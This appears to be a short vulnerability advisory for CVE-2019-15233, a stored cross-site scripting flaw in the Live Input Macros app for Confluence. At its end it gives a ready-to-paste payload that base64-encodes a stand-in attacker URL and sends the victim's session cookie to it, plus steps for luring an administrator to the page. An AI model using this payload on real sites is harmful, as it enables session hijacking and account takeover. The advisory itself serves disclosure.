l0nax/cve-2019-15233(FAB-2019-00157) Vulnerability discoverd by me CVE-2019-15233
(FAB-2019-00157) Vulnerability discoverd by me CVE-2019-15233
Advisory: advisory
Advisory ID: FAB-2019-00157
Product: Live Input Macros
Manufacturer: Old Street Solutions
Affected Version(s): 2.10 and before
Tested Version(s): 2.10
Vulnerability Type: Cross-Site Scripting (CWE-79)
Risk Level: High
CVSS v3.0: 7.6
Vektor String: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:H
Vendor Homepage: https://www.oldstreetsolutions.com/
Software Link: https://marketplace.atlassian.com/apps/1215287/live-input-macros
Solution Status: Reported
Manufacturer Notification: 2019-08-19
Solution Date: 2019-08-20
Public Disclosure: 2019-08-20
CVE Reference: CVE-2019-15233
Author of Advisory: Francesco Emanuel Bennici, FABMation GmbH
This security vulnerability was found by Francesco Emanuel Bennici [email protected] of FABMation GmbH.
Live Input Macros gives Users the possibility to add checkboxes, radio buttons, dropdown lists and more to your Confluence pages and make changes without editing the page.
An attacker can execute JavaScript Code on the Confluence Site if a User adds the malicous Code.
This can be used to steal the Session Cookie of an (eg.) Administrator (Session Hijacking).
Copy this Content:
Hello World this is my Text Box </p> </div>
alksdfjlkasdjflkj </p> " <br/> <style/onload=window.location=atob("aHR0cDovL2V2aWwuc2l0ZS8/PQ==")+document.cookie> <br/> " <p> asdasd
And create a new Element on a Confluence Page. Paste this text into it and share the Confluence Page with (eg.) an Systemadministrator and if he access the Site, you can Hijack/ "Copy" his Session.